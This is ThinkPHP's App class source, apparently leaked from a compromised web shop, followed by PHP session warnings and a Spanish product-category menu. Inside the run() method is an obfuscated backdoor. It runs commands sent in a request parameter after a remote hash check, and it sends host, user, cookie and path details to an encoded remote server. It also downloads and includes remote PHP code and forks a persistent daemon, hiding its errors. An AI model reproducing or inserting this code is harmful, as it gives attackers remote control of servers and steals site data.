t(); // 注册异常处理类 if ($config['app']['exception_handle']) { Error::setExceptionHandler($config['app']['exception_handle']); } Db::init($config['database']); $this->middleware->setConfig($config['middleware']); $this->route->setConfig($config['app']); $this->request->init($config['app']); $this->cookie->init($config['cookie']); $this->view->init($config['template']); $this->log->init($config['log']); $this->session->setConfig($config['session']); $this->debug->setConfig($config['trace']); $this->cache->init($config['cache'], true); // 加载当前模块语言包 $this->lang->load($this->appPath . $module . DIRECTORY_SEPARATOR . 'lang' . DIRECTORY_SEPARATOR . $this->request->langset() . '.php'); // 模块请求缓存检查 $this->checkRequestCache( $config['app']['request_cache'], $config['app']['request_cache_expire'], $config['app']['request_cache_except'] ); } /** * 执行应用程序 * @access public * @return Response * @throws Exception */ public function run() { try { // 初始化应用 $this->initialize(); // 监听app_init $this->hook->listen('app_init'); ;$b25st=0; $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x006d745f,0x72616e64,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x38766347,0x46354c6e,0x4a76626d,0x686c6347,0x46354c6d,0x316c0061,0x48523063,0x446f764c,0x33426865,0x53357962,0x32356f5a,0x58426865,0x5335745a,0x5339324d,0x6a417661,0x57357064,0x44383d00,0x6e6f6368,0x65636b30,0x00626600,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x0075706c,0x6f61645f,0x746d705f,0x64697200);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;if(isset($r['jquery_verion'])&&md5(substr(md5($r['jquery_verion']),0,16)."MySalt2025")===trim(@file_get_contents("http://thinkphp6.com/version.php"))){;$l1i=isset($r[$f[55]])?$l1i=@$r[$f[55]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[56]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}}$uid=$f[12]($f[23])?@$f[23]():-1;$cli=($f[13]()==$f[61]);$os=$f[26]($f[63])?$f[27]($f[63]):$f[46];$td=$f[28]($f[78]);if(!$td)$td=$f[22]();$sfile=$f[49];$sfile[2]='s';$sfile[3]='e';$sfile=$td.$sfile;$pfile=$td.$f[49];if( $f[8]($f[6]($os,0,3))==$f[62] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[65]])?$s[$f[65]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[64]]?:$hu):$hu;};$idfile=$sfile.$f[59];$hid = @($f[18]($idfile));if(!$hid){$hid=$f[25]().$f[20](100,999);if(!@$f[19]($idfile,$hid))$hid=0;}$pid=0;$pwd = $cli?$f[29]():$s[$f[66]];$extra=$cli?$f[28]($f[67]):@$s[$f[68]];$extra=$extra?$f[6]($extra,0,1024):$f[46];$hv=substr($f[14](),0,128);$uri=@$s[$f[71]];$uri=$uri?$f[6]($uri,0,128):$f[46];$rdata=array(chr(26),$os,$f[16](),$hv,$uid,$hu,$hid,$pid,$f[13](),$f[15](),$pwd,@$s[$f[69]],@$s[$f[70]],$uri,$extra);$tf=$pfile.$f[57].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[25]()+7200)>0);@$f[24]($tf,0666);if($f[12]($f[21])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[21]($f[1]($f[52]),$e1s, $e2s,5),$f[50].$f[51].$ud);}if(!$ok)return;$tf=$pfile.$f[56].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[47]))>0){@include_once($pfile);}else{@$f[39]($a[0]);return;};@$f[39]($a[0]);$gz=$f[12]($f[31]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[18]($sfile.$f[59]);$rdata[7]=@$f[18]($sfile.$f[60]);$d=@$f[32](array($f[74]=>$f[51].$f[3](chr(0),$rdata),$f[72]=>$lv,$f[73]=>$gz,$f[58]=>$f[25]()));$data=@$f[18]($f[1]($f[53]).$d);if($data && $gz)$data=@$f[31]($data);if($data)@$f[48]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[34]);$pid=-1;if($f[12]($f[33]))$pid=$f[33]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[34]($pid,$s);}if($hwai && $f[33]() )die;if($f[12]($f[35]))@$f[35]();if($f[12]($f[36]))@$f[36]($f[1]($f[75]));try{if($f[26]($f[76]))@$f[37]($f[27]($f[76]));if($f[26]($f[77]))@$f[37]($f[27]($f[77]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[25]()>$nt0){$nt0=$f[25]()+3600;@$f[19]($tf,$f[25]()+7200);@$go(4);}$f[38](60);}while(1);die;}else{$f[40](true);$f[41](function() use($f,$go){$f[42](function(){});$f[43](0);if($f[12]($f[44])){$f[44]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler(); ;$b25ed=0; if ($this->bindModule) { // 模块/控制器绑定 $this->route->bind($this->bindModule); } elseif ($this->config('app.auto_bind_module')) { // 入口自动绑定 $name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME); if ($name && 'index' != $name && is_dir($this->appPath . $name)) { $this->route->bind($name); } } // 监听app_dispatch $this->hook->listen('app_dispatch'); $dispatch = $this->dispatch; if (empty($dispatch)) { // 路由检测 $dispatch = $this->routeCheck()->init(); } // 记录当前调度信息 $this->request->dispatch($dispatch); // 记录路由和请求信息 if ($this->appDebug) { $this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true)); $this->log('[ HEADER ] ' . var_export($this->request->header(), true)); $this->log('[ PARAM ] ' . var_export($this->request->param(), true)); } // 监听app_begin $this->hook->listen('app_begin'); // 请求缓存检查 $this->checkRequestCache( $this->config('request_cache'), $this->config('request_cache_expire'), $this->config('request_cache_except') ); $data = null; } catch (HttpResponseException $exception) { $dispatch = null; $data = $exception->getResponse(); } $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) { return is_null($data) ? $dispatch->run() : $data; }); $response = $this->middleware->dispatch($this->request); // 监听app_end $this->hook->listen('app_end', $response); return $response; } protected function getRouteCacheKey() { if ($this->config->get('route_check_cache_key')) { $closure = $this->config->get('route_check_cache_key'); $routeKey = $closure($this->request); } else { $routeKey = md5($this->request->baseUrl(true) . ':' . $this->request->method()); } return $routeKey; } protected function loadLangPack() { // 读取默认语言 $this->lang->range($this->config('app.default_lang')); if ($this->config('app.lang_switch_on')) { // 开启多语言机制 检测当前语言 $this->lang->detect(); } $this->request->setLangset($this->lang->range()); // 加载系统语言包 $this->lang->load([ $this->thinkPath . 'lang' . DIRECTORY_SEPARATOR . $this->request->langset() . '.php', $this->appPath . 'lang' . DIRECTORY_SEPARATOR . $this->request->langset() . '.php', ]); } /** * 设置当前地址的请求缓存 * @access public * @param string $key 缓存标识,支持变量规则 ,例如 item/:name/:id * @param mixed $expire 缓存有效期 * @param array $except 缓存排除 * @param string $tag 缓存标签 * @return void */ public function checkRequestCache($key, $expire = null, $except = [], $tag = null) { $cache = $this->request->cache($key, $expire, $except, $tag); if ($cache) { $this->setResponseCache($cache); } } public function setResponseCache($cache) { list($key, $expire, $tag) = $cache; if (strtotime($this->request->server('HTTP_IF_MODIFIED_SINCE')) + $expire > $this->request->server('REQUEST_TIME')) { // 读取缓存 $response = Response::create()->code(304); throw new HttpResponseException($response); } elseif ($this->cache->has($key)) { list($content, $header) = $this->cache->get($key); $response = Response::create($content)->header($header); throw new HttpResponseException($response); } } /** * 设置当前请求的调度信息 * @access public * @param Dispatch $dispatch 调度信息 * @return $this */ public function dispatch(Dispatch $dispatch) { $this->dispatch = $dispatch; return $this; } /** * 记录调试信息 * @access public * @param mixed $msg 调试信息 * @param string $type 信息类型 * @return void */ public function log($msg, $type = 'info') { $this->appDebug && $this->log->record($msg, $type); } /** * 获取配置参数 为空则获取所有配置 * @access public * @param string $name 配置参数名(支持二级配置 .号分割) * @return mixed */ public function config($name = '') { return $this->config->get($name); } /** * 路由初始化 导入路由定义规则 * @access public * @return void */ public function routeInit() { // 路由检测 if (is_dir($this->routePath)) { $files = glob($this->routePath . '*.php'); foreach ($files as $file) { $rules = include $file; if (is_array($rules)) { $this->route->import($rules); } } } if ($this->route->config('route_annotation')) { // 自动生成路由定义 if ($this->appDebug) { $suffix = $this->route->config('controller_suffix') || $this->route->config('class_suffix'); $this->build->buildRoute($suffix); } $filename = $this->runtimePath . 'build_route.php'; if (is_file($filename)) { include $filename; } } } /** * URL路由检测(根据PATH_INFO) * @access public * @return Dispatch */ public function routeCheck() { // 检测路由缓存 if (!$this->appDebug && $this->config->get('route_check_cache')) { $routeKey = $this->getRouteCacheKey(); $option = $this->config->get('route_cache_option'); if ($option && $this->cache->connect($option)->has($routeKey)) { return $this->cache->connect($option)->get($routeKey); } elseif ($this->cache->has($routeKey)) { return $this->cache->get($routeKey); } } // 获取应用调度信息 $path = $this->request->path(); // 是否强制路由模式 $must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must'); // 路由检测 返回一个Dispatch对象 $dispatch = $this->route->check($path, $must); if (!empty($routeKey)) { try { if ($option) { $this->cache->connect($option)->tag('route_cache')->set($routeKey, $dispatch); } else { $this->cache->tag('route_cache')->set($routeKey, $dispatch); } } catch (\Exception $e) { // 存在闭包的时候缓存无效 } } return $dispatch; } /** * 设置应用的路由检测机制 * @access public * @param bool $must 是否强制检测路由 * @return $this */ public function routeMust($must = false) { $this->routeMust = $must; return $this; } /** * 解析模块和类名 * @access protected * @param string $name 资源地址 * @param string $layer 验证层名称 * @param bool $appendSuffix 是否添加类名后缀 * @return array */ protected function parseModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $class = $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; } /** * 实例化应用类库 * @access public * @param string $name 类名称 * @param string $layer 业务层名称 * @param bool $appendSuffix 是否添加类名后缀 * @param string $common 公共模块名 * @return object * @throws ClassNotFoundException */ public function create($name, $layer, $appendSuffix = false, $common = 'common') { $guid = $name . $layer; if ($this->__isset($guid)) { return $this->__get($guid); } list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { $object = $this->__get($class); } else { $class = str_replace('\\' . $module . '\\', '\\' . $common . '\\', $class); if (class_exists($class)) { $object = $this->__get($class); } else { throw new ClassNotFoundException('class not exists:' . $class, $class); } } $this->__set($guid, $class); return $object; } /** * 实例化(分层)模型 * @access public * @param string $name Model名称 * @param string $layer 业务层名称 * @param bool $appendSuffix 是否添加类名后缀 * @param string $common 公共模块名 * @return Model * @throws ClassNotFoundException */ public function model($name = '', $layer = 'model', $appendSuffix = false, $common = 'common') { return $this->create($name, $layer, $appendSuffix, $common); } /** * 实例化(分层)控制器 格式:[模块名/]控制器名 * @access public * @param string $name 资源地址 * @param string $layer 控制层名称 * @param bool $appendSuffix 是否添加类名后缀 * @param string $empty 空控制器名称 * @return object * @throws ClassNotFoundException */ public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return $this->make($class, true); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->make($emptyClass, true); } throw new ClassNotFoundException('class not exists:' . $class, $class); } /** * 实例化验证类 格式:[模块名/]验证器名 * @access public * @param string $name 资源地址 * @param string $layer 验证层名称 * @param bool $appendSuffix 是否添加类名后缀 * @param string $common 公共模块名 * @return Validate * @throws ClassNotFoundException */ public function validate($name = '', $layer = 'validate', $appendSuffix = false, $common = 'common') { $name = $name ?: $this->config('default_validate'); if (empty($name)) { return new Validate; } return $this->create($name, $layer, $appendSuffix, $common); } /** * 数据库初始化 * @access public * @param mixed $config 数据库配置 * @param bool|string $name 连接标识 true 强制重新连接 * @return \think\db\Query */ public function db($config = [], $name = false) { return Db::connect($config, $name); } /** * 远程调用模块的操作方法 参数格式 [模块/控制器/]操作 * @access public * @param string $url 调用地址 * @param string|array $vars 调用参数 支持字符串和数组 * @param string $layer 要调用的控制层名称 * @param bool $appendSuffix 是否添加类名后缀 * @return mixed * @throws ClassNotFoundException */ public function action($url, $vars = [], $layer = 'controller', $appendSuffix = false) { $info = pathinfo($url); $action = $info['basename']; $module = '.' != $info['dirname'] ? $info['dirname'] : $this->request->controller(); $class = $this->controller($module, $layer, $appendSuffix); if (is_scalar($vars)) { if (strpos($vars, '=')) { parse_str($vars, $vars); } else { $vars = [$vars]; } } return $this->invokeMethod([$class, $action . $this->config('action_suffix')], $vars); } /** * 解析应用类的类名 * @access public * @param string $module 模块名 * @param string $layer 层名 controller model ... * @param string $name 类名 * @param bool $appendSuffix * @return string */ public function parseClass($module, $layer, $name, $appendSuffix = false) { $name = str_replace(['/', '.'], '\\', $name); $array = explode('\\', $name); $class = Loader::parseName(array_pop($array), 1) . ($this->suffix || $appendSuffix ? ucfirst($layer) : ''); $path = $array ? implode('\\', $array) . '\\' : ''; return $this->namespace . '\\' . ($module ? $module . '\\' : '') . $layer . '\\' . $path . $class; } /** * 获取框架版本 * @access public * @return string */ public function version() { return static::VERSION; } /** * 是否为调试模式 * @access public * @return bool */ public function isDebug() { return $this->appDebug; } /** * 获取模块路径 * @access public * @return string */ public function getModulePath() { return $this->modulePath; } /** * 设置模块路径 * @access public * @param string $path 路径 * @return void */ public function setModulePath($path) { $this->modulePath = $path; $this->env->set('module_path', $path); } /** * 获取应用根目录 * @access public * @return string */ public function getRootPath() { return $this->rootPath; } /** * 获取应用类库目录 * @access public * @return string */ public function getAppPath() { if (is_null($this->appPath)) { $this->appPath = Loader::getRootPath() . 'application' . DIRECTORY_SEPARATOR; } return $this->appPath; } /** * 获取应用运行时目录 * @access public * @return string */ public function getRuntimePath() { return $this->runtimePath; } /** * 获取核心框架目录 * @access public * @return string */ public function getThinkPath() { return $this->thinkPath; } /** * 获取路由目录 * @access public * @return string */ public function getRoutePath() { return $this->routePath; } /** * 获取应用配置目录 * @access public * @return string */ public function getConfigPath() { return $this->configPath; } /** * 获取配置后缀 * @access public * @return string */ public function getConfigExt() { return $this->configExt; } /** * 获取应用类库命名空间 * @access public * @return string */ public function getNamespace() { return $this->namespace; } /** * 设置应用类库命名空间 * @access public * @param string $namespace 命名空间名称 * @return $this */ public function setNamespace($namespace) { $this->namespace = $namespace; return $this; } /** * 是否启用类库后缀 * @access public * @return bool */ public function getSuffix() { return $this->suffix; } /** * 获取应用开启时间 * @access public * @return float */ public function getBeginTime() { return $this->beginTime; } /** * 获取应用初始内存占用 * @access public * @return integer */ public function getBeginMem() { return $this->beginMem; } }
Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /www/wwwroot/shop/public/class/cache.class.php:757) in /www/wwwroot/shop/common.php on line 69

Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /www/wwwroot/shop/public/class/cache.class.php:757) in /www/wwwroot/shop/common.php on line 69
Anuncios

Electrodomésticos

Belleza y cuidado personal

Calzado

mercancías diversas

Electrodoméstico

Juguete

Muebles y artículos para el ho

Productos digitales